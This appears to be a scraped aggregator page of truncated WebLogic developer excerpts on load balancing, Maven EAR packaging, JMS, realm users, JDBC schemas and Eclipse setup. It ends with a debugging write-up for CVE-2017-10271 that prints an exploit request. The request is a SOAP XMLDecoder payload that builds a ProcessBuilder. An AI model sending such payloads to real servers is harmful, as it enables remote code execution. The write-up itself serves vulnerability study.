weblogic

WebLogic load balancing

吃可爱长大的小学妹 提交于 2019-12-03 08:57:05
I'm currently developing a project supported on a WebLogic clustered environment. I've successfully set up the cluster, but now I want a load-balancing solution (currently, only for testing purposes, I'm using WebLogic's HttpClusterServlet with round-robin load-balancing). Is there any documentation that gives a clear comparison (with pros and cons) of the various ways of providing load-balancing for WebLogic? These are the main topics I want to cover: Performance (normal and on failover ); What failures can be detected and how fast is the failover recovery; Transparency to failure (e.g.,

Where do I put weblogic-application.xml in my Maven 2 project?

萝らか妹 提交于 2019-12-03 08:55:53
问题 Where do I put weblogic-application.xml in my Maven 2 project so that Maven places it in META_INF in the target EAR artifact? 回答1: The weblogic-application.xml should be packaged in the META-INF directory of your final EAR (next to the standard application.xml ). With the Maven EAR Plugin, the default location for extra files to include in the EAR (that you can control with the earSourceDirectory parameter) is src/main/application . So the following would work (using the defaults): myear |--

Weblogic 12.1.3 PrivilegedActions class not found

匿名 (未验证) 提交于 2019-12-03 08:48:34
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: i create a simple we project that call a jms queue and put in a message. Here the code: public class QueueSend { // Defines the JNDI context factory. public final static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory"; // Defines the JMS context factory. public final static String JMS_FACTORY="jms/MyConnectionFactory"; // Defines the queue. public final static String QUEUE="jms/MyTestQueue"; private QueueConnectionFactory qconFactory; private QueueConnection qcon; private QueueSession qsession; private QueueSender qsender;

List all the user in weblogic by java

匿名 (未验证) 提交于 2019-12-03 07:50:05
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: Does anyone know how to list all the weblogic users in java? For instance, there is 5 users in security realm, and I want to get all of them. How do I do? 回答1: It's pretty easy. For future reference, if you want to look up something like "how do I do X with weblogic and Java..." use JMX in your google search. Here is an example from weblogic wonders . Note you will need to change your URL and user/password in the code: import javax.naming.*; import javax.management.MBeanInfo; import weblogic.jndi.Environment; import weblogic.management

Creating WebLogic users programmatically from a standalone Java client

匿名 (未验证) 提交于 2019-12-03 07:50:05
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I'm trying to create users in WebLogic (10.3.4) programmatically from a simple standalone Java client (one class --> two methods: createWeblogicUser() & main()). public void createWeblogicUser() { try { Hashtable<String, String> env = new Hashtable<String, String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory"); env.put(Context.SECURITY_PRINCIPAL, "weblogic"); env.put(Context.SECURITY_CREDENTIALS, "weblogic"); env.put(Context.PROVIDER_URL, "t3://myserver:7001"); InitialContext ctx = new InitialContext(env

Specify default schema for JDBC pool in weblogic/oracle

做~自己de王妃 提交于 2019-12-03 07:34:42
问题 We use the same user for multiple projects and I want to have a different default schema for different connection pools. Is there a way to specify the default schema in the weblogic JDBC configuration? 回答1: Ok, I figured it out myself: If you go to Data Source -> Configuration -> Connection Pool -> click Advanced , There is Init SQL there that will be executed for initialization of newly created physical db connection, we can put: SQL ALTER SESSION SET CURRENT_SCHEMA=animals to make the

Eclipse Luna安装Weblogic Server Tools插件及配置Weblogic

孤人 提交于 2019-12-03 05:53:58
1. 首先下载 Eclipse ,下载地址 http://mirrors.neusoft.edu.cn/eclipse/technology/epp/downloads/release/luna/R/eclipse-jee-luna-R-win32.zip 2. 下载 Weblogic Server Tools For Eclipse 插件,(访问地址: http://www.oracle.com/technetwork/developer-tools/eclipse/downloads/index.html ,如果本来就有 Eclipse 则选择下载插件 oepe-12.1.3.1.1-luna-repository.zip 或者在线安装,否则直接下载已经集成 weblogic 插件的 Eclipse oepe-luna-maf-distro-win32.zip )下载地址: http://download.oracle.com/otn_software/oepe/12.1.3.1.1/luna/oepe-12.1.3.1.1-luna-repository.zip 3. 下载 oepe-12.1.3.1.1-luna-repository.zip 完成后,解压 Eclipse ,然后找到其中的文件夹 dropins ,如图: 在 dropins 中新建文件夹 weblogic(

Speed up Weblogic Server startup times

佐手、 提交于 2019-12-03 05:45:47
问题 At my work, we use Weblogic Server to host an enterprise portal. Which is fine. However, I've recently had the opportunity to use Tomcat for some side projects, and I am struck by the incredible difference in speed. Tomcat takes 3-5 seconds to start up, and 10-15 seconds to deploy a medium-sized projects. Wewblogic takes 3-5 minutes to start, and up to 10 minutes to deploy. This kills any iterative development. Am I going to have to resign myself to its being slow and bloated, or is there

Troubleshooting connections stuck in CLOSE_WAIT status

孤者浪人 提交于 2019-12-03 05:40:38
问题 I have a Java application running in WebLogic 11g on Windows, which after several days, becomes unresponsive. One suspicious symptom I've noticed is that a large number of connections (about 3000) show up in netstat with a CLOSE_WAIT status even when the server is idle. Since the application server is managing the client connections, I'm not sure what's causing this. We also make a number of web service calls that loopback to the same server, but I believe those connections get closed

IDEA debug漏洞第一篇(weblogic,cve-2017-10271)

谁说我不能喝 提交于 2019-12-03 04:30:18
在weblogic.wsee.jaxws.WLSServletAdapter的129行打点 1 if (var2.getMethod().equals("GET") || var2.getMethod().equals("HEAD")) { 然后开启debug模式,进行发包,截获断点处的请求包。 burp包内容: POST /wls-wsat/CoordinatorPortType11 HTTP/1.1 Host: localhost:7001 Content-Type: text/xml Content-Length: 987 <?xml version="1.0"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void